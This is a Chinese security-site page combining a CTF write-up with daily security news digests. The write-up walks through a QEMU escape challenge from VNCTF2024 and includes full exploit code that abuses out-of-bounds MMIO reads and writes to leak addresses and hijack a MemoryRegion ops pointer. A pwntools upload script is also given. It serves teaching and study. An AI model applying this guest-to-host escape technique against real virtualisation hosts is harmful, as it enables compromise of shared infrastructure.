10、ShadowSyndicate针对aiohttp漏洞发起扫描攻击
https://cyble.com/blog/cgsi-probes-shadowsyndicate-groups-possible-exploitation-of-aiohttp-vulnerability-cve-2024-23334/ 研究人员监测到,自2024年2月27日公布了aiohttp(异步HTTP客户端/服务器框架)漏洞(CVE-2024-23334)的概念验证(PoC)及教学视频后,网络犯罪集团ShadowSyndicate可能开始利用这一漏洞进行网络攻击。此漏洞为目录遍历问题,可能让未经认证的远程攻击者访问服务器上的敏感文件。根据研究人员的数据显示,全球有超过43000个
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
从 VNCTF2024 的一道题学习QEMU Escape
说在前面
本文的草稿是边打边学边写出来的,文章思路会与一个“刚打完用户态 pwn 题就去打 QEMU Escape ”的人的思路相似,在分析结束以后我又在部分比较模糊的地方加入了一些补充,因此阅读起来可能会相对轻松。(当然也不排除这是我自以为是)
https://github.com/xtxtn/vnctf2024-escape_langlang_mountain2wp[1] 题目分析流程
[1-1] 启动文件分析
读 Dockerfile,了解到它在搭起环境以后启动了start.sh,
再读 start.sh,了解到它启动了 xinetd 程序
再读 xinetd,这个程序的主要作用是监听指定 port,并根据预先定义好的配置来启动相应服务。可以看到 server_args 处启动了 run.sh
再读 run.sh,发现它用 QEMU 起了一个程序,通过 -device vn 我们可以知道 vn 是作为 QEMU 中的一个 pci设备 存在的。
通过 IDA 查找字符串 vn_ 可以找到 vn_instance_init,跟进调用 字符串vn_instance_init 的 函数vn_instance_init,再按 x 查看 函数vn_instance_init 的引用,可以看到下面还有一个 vn_class_init ,反汇编后看到
__int64 __fastcall vn_class_init(__int64 a1)
{
__int64 result; // rax
result = PCI_DEVICE_CLASS_23(a1);
*(_QWORD *)(result + 176) = pci_vn_realize;
*(_QWORD *)(result + 184) = 0LL;
*(_WORD *)(result + 208) = 0x1234; // 厂商ID (Vendor ID)
*(_WORD *)(result + 210) = 0x2024; // 设备ID (Device ID)
*(_BYTE *)(result + 212) = 0x10;
*(_WORD *)(result + 214) = 0xFF;
return result;
}
通过厂商ID和设备ID,我们可以判断下列 pci 设备中 00:04.0 Class 00ff: 1234:2024 就是我们要找的 vn
/sys/devices/pci0000:00/0000:00:04.0 # lspci
lspci
00:01.0 Class 0601: 8086:7000
00:04.0 Class 00ff: 1234:2024
00:00.0 Class 0600: 8086:1237
00:01.3 Class 0680: 8086:7113
00:03.0 Class 0200: 8086:100e
00:01.1 Class 0101: 8086:7010
00:02.0 Class 0300: 1234:1111
进而去/sys/devices/pci0000:00/0000:00:04.0 目录查看该设备 mmio 与 pmio 的注册情况
/sys/devices/pci0000:00/0000:00:04.0 # ls -al
...
...
-r--r--r-- 1 0 0 4096 Feb 18 12:18 resource
-rw------- 1 0 0 4096 Feb 18 12:18 resource0
...
...
有了 resource0 这个文件,我们就可以在exp里 mmap 做虚拟地址映射。
并且我们可以看到 vn 这个设备只注册了 mmio,那就考虑用 https://ctf-wiki.org/pwn/virtualization/qemu/exploitation/intro/#_3
[1-2] 静态分析
如果我写的不够清楚,读者可以参考 https://github.com/rcvalle/blizzardctf2017/blob/master/strng.c这一实现,读完这段代码会对 pci 设备的了解提升一个台阶。
我们先补充一些概念:
QEMU 提供了一套完整的模拟硬件给 QEMU 上的 kernel 来使用,而 -device 参数为 kernel 提供了模拟的 pci 设备。
如果 kernel 实现了类似 linux 的 rootfs,我们就可以通过 lspci 来查看相关 pci,并在/sys/devices/...找到 pci 设备启动时 kernel 分配给 pci 的资源,也就是 resource0 等,这也是前文提到过的。
resource0 可以看作是一大片开关,当我们修改 resource0 中的内容时,可以看做对应开关被启动,pci设备也随着开关的启动而变化,具体表现为“控制寄存器、状态寄存器以及设备内部的内存区域 随着 resource0 的变化而变化”
所以我们可以 open resource0 这个文件,用 mmap 映射它,从而使我们能够在C代码中对 resource0 这片内存进行修改
可是由于 QEMU 也只不过是一个程序,虚拟的 pci 设备意味着,一定有一片内存存储着 pci 相关的数据
关于 pci 存储数据的这一部分好像就涉及 QOM 了,还没太搞懂,总之跟pci_xx_realize, xx_class_init, xx_instance_init 等函数有关
假设我们的调用链是这样的:
docker -> QEMU -> exp
则 docker 会让 QEMU 误以为自己占据全部内存空间,QEMU 会让 exp 认为自己占据全部内存空间
而 QEMU 的 pci 设备的 MemoryRegion 就存储在 QEMU 的堆区上,我们在程序 exp 中读写 resource0,就相当于操控 vn_mmio_read 和 vn_mmio_write 去读写 QEMU 的堆区,如果我们正好修改到 MemoryRegion 的 xx_mmio_ops 指针,就可以劫持控制流。
那么,接下来我们要做的事情就是去读一下 vn_mmio_read 和 vn_mmio_write 的反汇编,了解怎样读写堆区内容。
由于对 QEMU 不是很熟悉,我只能瞎命名,vn_mmio_write 的大体逻辑是
object_dynamic_cast_assert是动态类型转换,我OOP学的很烂所以不清楚这是什么😭,猜测是申请一块堆的地址然后用 ptr 指向这块地址
①如果 op == 0x30 且 ptr[737] == 0
ptr[ ptr[736]/8 + 720 ] = var,并将 ptr[737] 设置为1
②如果 op == 0x10 且 var < 0x3C
ptr[736] = var
这里可以用负数来上溢,从而可以读很大一片空间的内容
③如果 op == 0x20 且 var 的高32位 < 0x3C
ptr[ HIDWORD(var) + 720 ] = (LODWORD)var
同理 vn_mmio_read 也可以分析出来。
下面是我调试代码时画的草图,读者可以等看完“[2] 动态调试”部分以后再回来看这张图,个人认为这样的图对理解程序非常有帮助
通过分析我们可以得知,vn_mmio_write可以实现一些越界写,同理分析 vn_mmio_read 我们可以得知,令可以实现一些越界读,根据反汇编我们可以定制一下这道题的 mmio_read
void mmio_write(uint64_t addr, uint64_t value)
{
*((uint64_t*)(mmio_base + addr)) = value;
}
uint32_t mmio_read(uint64_t addr)
{
return *((uint32_t*)(mmio_base + addr));
}
void mmio_write_idx(uint64_t idx, uint64_t value)
{
uint64_t val = value + (idx << 32);
mmio_write(0x20,val);
}
通过 Shift + F12 查/bin/sh可以跟进到这道题的后门函数0x67429B,我们需要跳转到这里去执行execv("/bin/sh");
现在我们知道了怎样读写堆区,也知道写入什么东西。但我们不知道 ptr[736] 附近是不是 MemoryRegion,而且 QEMU 会启动 pie,我们需要绕过 pie 才能利用后门函数。
所以我们就先读一些内容,看看附近有没有什么能利用的东西
[2] 动态调试
接下来我们需要用 docker 调试 qemu,这里记录一下
# 注: 如果已经提前 docker-compose 好了,则可以直接通过 docker cp 来修改内部文件
docker cp /path/to/file container_name:/whatever/path/you/want/to/file
# 首先将 exp.c 静态编译为二进制文件
gcc exp.c --static -o exp
# 然后解包 rootfs.cpio,参考https://www.jianshu.com/p/f08e34cf08ad 的“调试”部分
hen rootfs.cpio
# 将 exp 放入 /core/usr/bin 中
# 重新打包 roortfs.cpio
gen rootfs.cpio
# 修改 run.sh
vim run.sh
# #!/bin/sh
# ./qemu-system-x86_64 \
# -L ./pc-bios \
# -m 128M \
# -append "tsc=unstable console=ttyS0" \
# -kernel bzImage \
# -initrd rootfs.cpio \
# -device vn \
# -nographic \
# -no-reboot \
# -monitor /dev/null \
# 修改 Dockerfile,在创建容器时安装 qemu-system-x86 gdb,这一步其实在 容器的shell里也能install,可以跳过
vim Dockerfile # 下面内容只是 RUN 部分,其他部分不动
# RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list && \
# apt-get update && apt-get -y dist-upgrade && \
# apt-get install -y lib32z1 xinetd \
# libpixman-1-dev libepoxy-dev libpng16-16 libjpeg8-dev \
# libfdt-dev libnuma-dev libglib2.0-dev \
# libgtk-3-dev libasound2-dev libcurl4 qemu-system-x86 gdb
# build 与 启动容器
docker-compose build
docker start vnctf
# 启动tmux,分页记为 pane1 和 pane2
# pane1:
docker exec -ti vnctf /bin/bash
# pane2:
docker exec -ti vnctf /bin/bash
# pane1:
./run.sh # 这里运行以后应该是什么也不会出现
# pane2:
ps -ax | grep "qemu-system-x86_64 -L" # 这一步获取 qemu 的进程号PID,用于 (gdb) attach PID
gdb ./qemu-system-x86_64
(gdb) attach PID # 比如 (gdb) attach 406
(gdb) c # 输入完以后看一眼 pane1,如果qemu启动了就等qemu启动
# 如果没启动就继续输入 (gdb) c
# pane1:
# 此时 QEMU 正常运行,我们可以在里面输入一些命令比如ls等查看
cd /usr/bin # 这里是前面解包后的时候 exp 放入的文件夹
./exp
# pane2:
# 此时就可以开始调试了
现在程序正常运行了,我们开始查看读出来的东西有没有什么是能利用的
int main(int argc, char const *argv[])
{
uint32_t catflag_addr = 0x6E65F9;
getMMIOBase();
printf("mmio_base Resource0Base: %p\n", mmio_base);
uint64_t test_low,test_high,test;
for(int i=-1;i>=-30;i--) {
mmio_write(0x10, i*0x8);
test_low = mmio_read(0x20);
mmio_write(0x10, i*0x8 + 0x4);
test_high = mmio_read(0x20);
test = test_low + (test_high << 32);
printf("test%d = 0x%llx\n", -i, test);
getchar();
}
}
/*
/usr/bin # ./exp
mmio_base Resource0Base: 0x7fafa8025000
test1 = 0x0
test2 = 0x0
test3 = 0x0
test4 = 0x0
test5 = 0x55da28130f00
test6 = 0x55da2812ef78
test7 = 0x0
test8 = 0x55da271feb98
test9 = 0x55da27e4f820
test10 = 0x55da2812ef58
test11 = 0x0
test12 = 0x1
test13 = 0x0
test14 = 0x0
test15 = 0x10001
test16 = 0x0
test17 = 0x55da256a335b // -> memory_region_destructor_none
test18 = 0xfebf1000
test19 = 0x0
test20 = 0x1000
test21 = 0x0
test22 = 0x55da271feae0
test23 = 0x55da2812e470
test24 = 0x55da25dd01e0 // -> vn_mmio_ops
test25 = 0x55da2812e470
test26 = 0x55da2812e470
test27 = 0x0
*/
我们逐个地址 x/2gx 一下,最终发现这几个比较有意思的地方
PIE
(gdb) x/2gx 0x55da256a335b
0x55da256a335b <memory_region_destructor_none>: 0xe5894855fa1e0ff3 0xf3c35d90f87d8948
我们在 IDA 中是能搜到这个函数的,它在 QEMU 里的偏移量是 0x82B35B,通过这个我们就可以计算出 docker 加载 QEMU 时的基地址了
heap & MemoryRegion
(gdb) x/2gx 0x55da25dd01e0
0x55da25dd01e0 <vn_mmio_ops>: 0x000055da252d3458 0x000055da252d3502
我们找到了需要的 ops,test24 存的就是 0x55da25dd01e0
所以我们有如下对应关系:
ptr[-24 + 720] -> 0x55da25dd01e0
那很自然的我们就想到,ptr的其他地方存着什么?这附近是不是就是 MemoryRegion?可是我们并没有 (&ptr[-24 + 720]),但我们知道的是 MemoryRegion 存在堆里,所以我们考虑用 find 命令查找(看起来像堆地址的)堆地址附近查找 0x55da25dd01e0 这个值就行
最终我们用到的是 test23 -> 0x55da2812e470
// 查找 [0x55da2812e470,0x55da2812e470+0x1000] 中存放0x55da25dd01e0的地址
(gdb) find 0x55da2812e470, 0x55da2812e470+0x1000, 0x55da25dd01e0
0x55da2812eef0
1 pattern found.
因此我们知道 0x55da2812eef0 存放着我们需要的 0x55da25dd01e0
观察发现这个地址跟我们的 test10 非常近,可以计算一下
(gdb) print(0x55da2812ef58 - 0x55da2812eef0)
$1 = 104
// 104 = 0x68
// 所以 test23 = 0x55da2812eef0 = 0x55da2812ef58 - 0x68 = test10 - 0x68
而我们打印一下更多附近的值,可以看到
(gdb) x/52xg 0x55da2812ef58 - 0x58 - 0x60
0x55da2812eea0: 0x000055da271f1840 0x0000000000000000
0x55da2812eeb0: 0x000055da280e1f00 0x0000000000000001
0x55da2812eec0: 0x000055da2812e470 0x0000000000000001
0x55da2812eed0: 0x0000000000000000 0x0000000000000000
0x55da2812eee0: 0x000055da2812e470 0x000055da2812e470
0x55da2812eef0: 0x000055da25dd01e0 0x000055da2812e470 <- test 24 | 23
0x55da2812ef00: 0x000055da271feae0 0x0000000000000000
0x55da2812ef10: 0x0000000000001000 0x0000000000000000
0x55da2812ef20: 0x00000000febf1000 0x000055da256a335b <- test 18 | 17
0x55da2812ef30: 0x0000000000000000 0x0000000000010001
0x55da2812ef40: 0x0000000000000000 0x0000000000000000
0x55da2812ef50: 0x0000000000000001 0x0000000000000000
0x55da2812ef60: 0x000055da2812ef58 0x000055da27e4f820
0x55da2812ef70: 0x000055da271feb98 0x0000000000000000
0x55da2812ef80: 0x000055da2812ef78 0x000055da28130f00
0x55da2812ef90: 0x0000000000000000 0x0000000000000000
0x55da2812efa0: 0x0000000000000000 0x0000000000000000
0x55da2812efb0: 0x0000000000000000 0x0000000000000000 <- test 0 | -1
0x55da2812efc0: 0x0000000000000000 0x0000000000000000
0x55da2812efd0: 0x0000000000000000 0x0000000000000000
0x55da2812efe0: 0x0000000000000000 0x0000000000000000
0x55da2812eff0: 0x00000000ffffff2c 0x0000000000000000
0x55da2812f000: 0x0000000000000000 0x0000000000000061
0x55da2812f010: 0x000055da2812d3c0 0x000055da273b01d0
0x55da2812f020: 0x0000000000000000 0x000055da25725d5f
0x55da2812f030: 0x0000000000000000 0x000055da25725de1
我们回到 https://ctf-wiki.org/pwn/virtualization/qemu/basic-knowledge/mm/ 里查看一下 MemoryRegion
struct MemoryRegion {
Object parent_obj;
/* private: */
/* The following fields should fit in a cache line */
bool romd_mode;
bool ram;
bool subpage;
bool readonly; /* For RAM regions */
bool nonvolatile;
bool rom_device;
bool flush_coalesced_mmio;
bool global_locking;
uint8_t dirty_log_mask;
bool is_iommu;
RAMBlock *ram_block;
Object *owner;
const MemoryRegionOps *ops;
void *opaque;
MemoryRegion *container; // 指向父 MemoryRegion
Int128 size; // 内存区域大小
hwaddr addr; // 在父 MR 中的偏移量
void (*destructor)(MemoryRegion *mr);
uint64_t align;
bool terminates;
bool ram_device;
bool enabled;
bool warning_printed; /* For reservations */
uint8_t vga_logging_count;
MemoryRegion *alias; // 仅在 alias MR 中,指向实际的 MR
hwaddr alias_offset;
int32_t priority;
QTAILQ_HEAD(, MemoryRegion) subregions;
QTAILQ_ENTRY(MemoryRegion) subregions_link;
QTAILQ_HEAD(, CoalescedMemoryRange) coalesced;
const char *name;
unsigned ioeventfd_nb;
MemoryRegionIoeventfd *ioeventfds;
};
假设我们把 test24 看作上面结构体的 const MemoryRegionOps *ops;
0x55da2812eea0: 0x000055da271f1840
0x55da2812eea8: 0x0000000000000000
0x55da2812eeb0: 0x000055da280e1f00
0x55da2812eeb8: 0x0000000000000001
0x55da2812eec0: 0x000055da2812e470
0x55da2812eec8: 0x0000000000000001
0x55da2812eed0: 0x0000000000000000
0x55da2812eed8: 0x0000000000000000
0x55da2812eee0: 0x000055da2812e470
0x55da2812eee8: 0x000055da2812e470
0x55da2812eef0: 0x000055da25dd01e0 -24 -> test24 -> ops
0x55da2812eef8: 0x000055da2812e470 -23 -> test23 -> opaque
0x55da2812ef00: 0x000055da271feae0 -22 -> test22 -> container
0x55da2812ef08: 0x0000000000000000 -21 -> test21 -> 这里不知道是什么😭
0x55da2812ef10: 0x0000000000001000 -20 -> test20 -> size(Int128)
0x55da2812ef18: 0x0000000000000000 -19 -> test19 -> size
0x55da2812ef20: 0x00000000febf1000 -18 -> test18 -> addr
0x55da2812ef28: 0x000055da256a335b -17 -> test17 -> mr
0x55da2812ef30: 0x0000000000000000
0x55da2812ef38: 0x0000000000010001
0x55da2812ef40: 0x0000000000000000
0x55da2812ef48: 0x0000000000000000
0x55da2812ef50: 0x0000000000000001
0x55da2812ef58: 0x0000000000000000
0x55da2812ef60: 0x0000000000000000
0x55da2812ef68: 0x0000000000000000
0x55da2812ef70: 0x0000000000000000
0x55da2812ef78: 0x0000000000000000
0x55da2812ef80: 0x0000000000000000
0x55da2812ef88: 0x0000000000000000
0x55da2812ef90: 0x0000000000000000
0x55da2812ef98: 0x0000000000000000
0x55da2812efa0: 0x0000000000000000
0x55da2812efa8: 0x0000000000000000 -> test0
0x55da2812efb0: 0x0000000000000000 -> 可以看到这里有一大片'\x00'
0x55da2812efb8: 0x0000000000000000 -> 我们可以把控制流劫持的指针
0x55da2812efc0: 0x0000000000000000 -> 放在这一片
0x55da2812efc8: 0x0000000000000000
0x55da2812efd0: 0x0000000000000000
0x55da2812efd8: 0x0000000000000000
0x55da2812efe0: 0x0000000000000000
0x55da2812efe8: 0x0000000000000000
我们可以看到这就是 MemoryRegion,当我们修改 ptr[-24 + 720] 即 MemoryRegion.ops 的值为 0x55da2812efb8(&test0 + 8),我们就可以在执行 vn_mmio_read 和 vn_mmio_write 时去执行 0x55da2812efb8 指向的函数
所以我们考虑这样的布置:
0x55da2812eef0(&test24) -> 0x55da2812efd8
0x55da2812efd8(&backdoor) -> 0x55da2812efd0 -> 后门函数0x67429B
[3] 完整 EXP
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#include <ctype.h>
#include <termios.h>
#include <assert.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/io.h>
// #define MAP_SIZE 4096UL
#define MAP_SIZE 0x1000000
#define MAP_MASK (MAP_SIZE - 1)
char* pci_device_name = "/sys/devices/pci0000:00/0000:00:04.0/resource0";
unsigned char* mmio_base;
unsigned char* getMMIOBase(){
int fd;
if((fd = open(pci_device_name, O_RDWR | O_SYNC)) == -1) {
perror("open pci device");
exit(-1);
}
mmio_base = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd,0);
if(mmio_base == (void *) -1) {
perror("mmap");
exit(-1);
}
return mmio_base;
}
void mmio_write(uint64_t addr, uint64_t value)
{
*((uint64_t*)(mmio_base + addr)) = value;
}
uint32_t mmio_read(uint64_t addr)
{
return *((uint32_t*)(mmio_base + addr));
}
void mmio_write_idx(uint64_t idx, uint64_t value)
{
uint64_t val = value + (idx << 32);
mmio_write(0x20,val);
}
int main(int argc, char const *argv[])
{
uint32_t catflag_addr = 0x6E65F9;
getMMIOBase();
printf("mmio_base Resource0Base: %p\n", mmio_base);
mmio_write(0x10, -17*0x8);
uint64_t pie_low = mmio_read(0x20);
mmio_write(0x10, -17*0x8 + 0x4);
uint64_t pie_high = mmio_read(0x20);
uint64_t pie = pie_low + (pie_high << 32) - 0x82B35B;
printf("pie = 0x%llx\n", pie);
getchar();
mmio_write(0x10, -10*0x8);
uint64_t heap_low = mmio_read(0x20);
mmio_write(0x10, -10*0x8 + 0x4);
uint64_t heap_high = mmio_read(0x20);
uint64_t heap = heap_low + (heap_high << 32);
printf("heap = 0x%llx\n", heap);
uint64_t backdoor = pie + 0x67429B;
uint64_t system_plt_addr = heap + 0x60 + 8;
uint64_t cmdaddr = heap + 0x58 + 8;
getchar();
mmio_write_idx(8,0x20746163);
mmio_write_idx(12,0x67616C66);
mmio_write_idx(16,backdoor & 0xffffffff);
mmio_write_idx(20,backdoor >> 32);
mmio_write_idx(24,system_plt_addr & 0xffffffff);
mmio_write_idx(28,system_plt_addr >> 32);
mmio_write_idx(32,cmdaddr & 0xffffffff);
mmio_write_idx(36,cmdaddr >> 32);
getchar();
for(int i = 40;i <= 60 ;i += 4 )
{
mmio_write_idx(i,0);
}
getchar();
mmio_write(0x10,-0xc0);
getchar();
mmio_write(0x30,system_plt_addr);
getchar();
mmio_read(0);
return 0;
}
[4] exp.c 如何食用?
# exp.py
from pwn import *
import time, os
context.log_level = "debug"
p=remote("127.0.0.1",9999)
os.system("tar -czvf exp.tar.gz ./exp")
os.system("base64 exp.tar.gz > b64_exp")
f = open("./b64_exp", "r")
p.sendline()
p.recvuntil("~ #")
p.sendline("echo '' > b64_exp;")
count = 1
while True:
print('now line: ' + str(count))
line = f.readline().replace("\n","")
if len(line)<=0:
break
cmd = b"echo '" + line.encode() + b"' >> b64_exp;"
p.sendline(cmd) # send lines
#time.sleep(0.02)
#p.recv()
p.recvuntil("~ #")
count += 1
f.close()
p.sendline("base64 -d b64_exp > exp.tar.gz;")
p.sendline("tar -xzvf exp.tar.gz")
p.sendline("chmod +x ./exp;")
p.sendline("./exp")
p.interactive()
[5] 结语
本来以为 QEMU 是我走向内核态的第一步,但当我用 gdb 把它调起来的时候才发现,QEMU 也只是操作系统上的一个程序,跟我们平时打的用户态区别不大,也是 leak 然后劫持控制流去 getshell
但虚拟化和QEMU知识的缺失也让我“架空学习”,勿以浮沙筑高台,有时间还是要回过头来把基础筑牢的,现在对这道题理解的抽象程度还是太高了,应该继续打开它、研究它。
网络安全日报 2024年03月15日
1、黑客通过SVG图像文件隐藏键盘记录器和RAT恶意软件
https://dd80b675424c132b90b3-e48385e382d2e5d17821a5e1d8e4c86b.ssl.cf1.rackcdn.com/external/strategic-analysis-svg-files-abused-in-emerging-campaigns-1.pdf 研究人员发现,威胁行为者正在将恶意软件隐藏于SVG图像文件中,从而绕过检测,传递勒索软件、下载银行特洛伊木马,并分发恶意软件。研究人员在1月份观察到一个为期两个月的运动,该运动利用SVG文件传递Agent Tesla键盘记录器和XWorm远程控制木马(RAT)恶意软件。在2023年12月
2、宏碁菲律宾公司第三方供应商遭黑客攻击数据泄露
https://securityaffairs.com/160432/data-breach/acer-philippines-data-breach.html 宏碁菲律宾分公司在其员工数据在一个黑客论坛上被威胁行为者泄露后,确认了一起数据泄露事件。这起针对其一个第三方服务提供商的攻击导致员工数据泄露。被黑的第三方公司管理着宏碁员工的考勤数据。使用化名ph1ns的威胁行为者在一个黑客论坛上泄露了被窃取的数据,并声称这些数据来自宏碁公司的人力资源部门。ph1ns在论坛上发布了一个含有被盗数据的数据库的链接。宏碁被黑客攻击,但威胁行为者并未部署任何勒索软件。他们还强调,并未对公司进行敲诈,然而,
3、日产通知10万人数据在网络攻击中被盗
https://www.nissan.com.au/website-update.html 在2023年12月对其系统的攻击中,日产大洋洲将在未来几周内联系澳大利亚和新西兰约10万名数据被盗的人士。可能是Akira勒索软件团伙实施了这次网络攻击。网络犯罪分子从受害者中盗走了政府身份认证的某种形式,高达十分之一的受害者受到影响。从这家汽车制造商处窃取的数据包括4000张澳大利亚国家医疗保险计划的Medicare卡信息,以及7500张驾驶执照、220本护照和1300个税务文件号码。其余90%的人的其他信息被盗——可能是贷款相关交易声明的副本、就业细节或薪资信息。这次盗窃也可能包括如出生日期等个人
4、PixPirate木马利用新策略针对巴西用户
https://securityintelligence.com/posts/pixpirate-brazilian-financial-malware/ 根据研究人员的技术报告,一个名为PixPirate的安卓银行木马正通过一种新的策略来避免在被感染设备上被检测到,并从巴西用户那里窃取敏感信息。该策略能够将恶意应用的图标从受害者设备的主屏幕上隐藏,使得在PixPirate侦察和攻击阶段,受害者对这款恶意软件在后台执行的操作毫无察觉。PixPirate通常通过短信和WhatsApp传播,攻击流程涉及到使用一个下载器应用,其被设计用以部署主负载(又称“下落物”)来实施财务诈骗。在最新版本的下落
5、思科修补高严重性 IOS RX 漏洞
https://www.securityweek.com/cisco-patches-high-severity-ios-rx-vulnerabilities/ 思科针对 IOS RX 软件中的高严重性拒绝服务和特权提升漏洞发布了补丁。
6、Chrome标准安全浏览保护现可以提供实时恶意站点检测
https://www.securityweek.com/chromes-standard-safe-browsing-now-has-real-time-url-protection/ Chrome 的标准安全浏览保护现在提供实时恶意站点检测,iOS 上的密码检查现在可以标记弱密码。
7、最近的DarkGate 活动利用了Windows 零日漏洞
https://securityaffairs.com/160457/malware/recent-darkgate-campaign-exploited-microsoft-zero-day.html 零日计划 (ZDI) 的研究人员最近在 2024 年 1 月中旬发现了一次DarkGate活动,该活动使用虚假软件安装程序利用了 Windows 零日漏洞CVE-2024-21412。
8、法国失业机构数据泄露影响 4300 万人
https://www.bleepingcomputer.com/news/security/french-unemployment-agency-data-breach-impacts-43-million-people/ 被盗数据包括敏感的个人详细信息,如全名、出生日期、社会安全号码和联系信息,构成身份盗窃和网络钓鱼的重大风险。
9、Kubernetes RCE 漏洞允许完全接管 Windows 节点
https://www.darkreading.com/cloud-security/patch-now-kubernetes-flaw-allows-for-full-takeover-of-windows-nodes 该漏洞影响运行本地部署和 Azure Kubernetes 服务的 1.28.4 版本之前的 Kubernetes 的默认安装。
10、新型GhostRace攻击可窃取Intel、AMD等CPU数据
https://www.freebuf.com/articles/394821.html 英特尔、AMD、Arm和IBM等CPU制造商以及软件供应商,受到一种名为GhostRace的新型推测性竞态条件(SRC)攻击的影响。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
网络安全日报 2024年03月14日
1、FakeUpdates恶意软件活动以WordPress为目标
https://blog.checkpoint.com/research/february-2024s-most-wanted-malware-wordpress-websites-targeted-by-fresh-fakeupdates-campaign/ 全球数百万使用WordPress内容管理系统的网站正面临被恶意软件攻击的风险。根据研究人员于2024年2月发布的全球威胁指数报告,揭露了名为FakeUpdates或SocGholish的恶意软件活动,此活动通过黑客攻击管理员账户来侵入WordPress站点。该恶意软件使用了修改过的合法WordPress插件等手段,以欺骗用户下载远程访
2、新型Vcurms恶意软件瞄准流行浏览器窃取数据
https://www.fortinet.com/blog/threat-research/vcurms-a-simple-and-functional-weapon 研究人员近日发现了名为Vcurms的新型恶意软件,该软件通过利用云服务攻击受欢迎的浏览器和应用程序进行登录信息和数据盗窃。Vcurms通过电子邮件作为指挥控制中心,并采用AWS和GitHub等公共服务来存储恶意软件,同时还使用商业防护软件来规避侦测,显示出攻击者最大程度发挥恶意软件影响力的有组织努力。该恶意软件主要针对安装有Java的平台,对所有使用这些系统的组织构成威胁。一旦成功入侵,攻击者即可完全控制受损系统。攻击手段和技
3、BIPClip攻击活动利用Python包索引窃取加密钱包
https://www.reversinglabs.com/blog/bipclip-malicious-pypi-packages-target-crypto-wallet-recovery-passwords 研究人员在Python包索引(PyPI)库中发现了一组旨在窃取用于恢复加密货币钱包私钥的BIP39助记词短语的七个软件包,这一软件供应链攻击活动被研究人员命名为BIPClip。这些软件包在被从PyPI中删除之前总共被下载了7451次。这些软件包针对的是从事生成和保护加密货币钱包相关项目的开发人员,并且自2022年12月4日首次发布以来就一直活跃。研究人员的报告中指出:“这只是利用软
4、微软3月更新修复61个安全漏洞包含关键Hyper-V漏洞
https://msrc.microsoft.com/update-guide/releaseNote/2024-Mar 微软于周二发布了月度安全更新,解决了其软件中的61个不同安全缺陷,包括两个影响Windows Hyper-V的关键问题,这可能导致拒绝服务(DoS)和远程代码执行。在这61个漏洞中,两个被评为关键级别,58个被评为重要级别,一个被评为低危险级别。发布时,这些漏洞中没有一个被公开披露或处于活跃攻击状态,但有六个被评估为“更有可能被利用”。这些修复是对自2024年2月补丁周二更新以来,该公司基于Chromium的Edge浏览器已经修补的17个安全漏洞的补充。关键漏洞列表的首位
5、2023年GitHub平台泄露超1200万份认证秘钥
https://www.gitguardian.com/state-of-secrets-sprawl-report-2024 GitHub用户在2023年意外公开了超过320万个公共仓库中的约1280万个认证和敏感秘钥,大多数在五天后仍然有效。所泄露的秘钥包括账户密码、API密钥、TLS/SSL证书、加密密钥、云服务凭据、OAuth令牌等敏感数据,这些数据的泄露可能会让外部人员无限制地访问各种私有资源和服务,导致数据泄露和财务损失。根据Sophos2023年的报告显示,在年初半年度记录的所有攻击中,50%源于凭证泄露,其次是漏洞利用造成的攻击方式占23%。自2020年以来,GitGuard
6、芯片制造商周二补丁:英特尔、AMD 解决新的微架构漏洞
https://www.securityweek.com/chipmaker-patch-tuesday-intel-amd-address-new-microarchitectural-vulnerabilities/ 英特尔和 AMD 在周二补丁日发布了 10 条新的安全公告,告知客户影响其产品的漏洞。
7、ChatGPT 插件漏洞可导致暴露数据、账户接管
https://www.securityweek.com/chatgpt-plugin-vulnerabilities-exposed-data-accounts/ API 安全公司 Salt Security 对 ChatGPT 插件进行了分析,发现了多种类型的漏洞,这些漏洞可能被利用来获取潜在的敏感数据并接管第三方网站上的帐户。
8、Fortinet 修补了导致代码执行的关键漏洞
https://www.securityweek.com/fortinet-patches-critical-vulnerabilities-leading-to-code-execution/ Fortinet 已针对 FortiOS、FortiProxy 和 FortiClientEMS 中的关键代码执行漏洞发布了补丁。
9、Tor 的新 WebTunnel 桥模仿 HTTPS 流量来规避审查
https://www.bleepingcomputer.com/news/security/tors-new-webtunnel-bridges-mimic-https-traffic-to-evade-censorship/ 虽然一些国家/地区已经找到了检测和阻止传统 Tor 连接的方法,但 Tor 项目开发了 WebTunnel,通过将流量与 HTTPS 加密的网络流量混合,使审查者更难阻止连接。
10、印度一金融公司泄露用户信息,数据量超过3TB
https://www.freebuf.com/news/394649.html 近日,印度一家非银行性质地金融公司 IKF Finance 泄漏了超过 3 TB 的敏感客户和员工数据,可能暴露了其整个用户群体。
声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景科技观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景科技无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景科技一律不予承担。
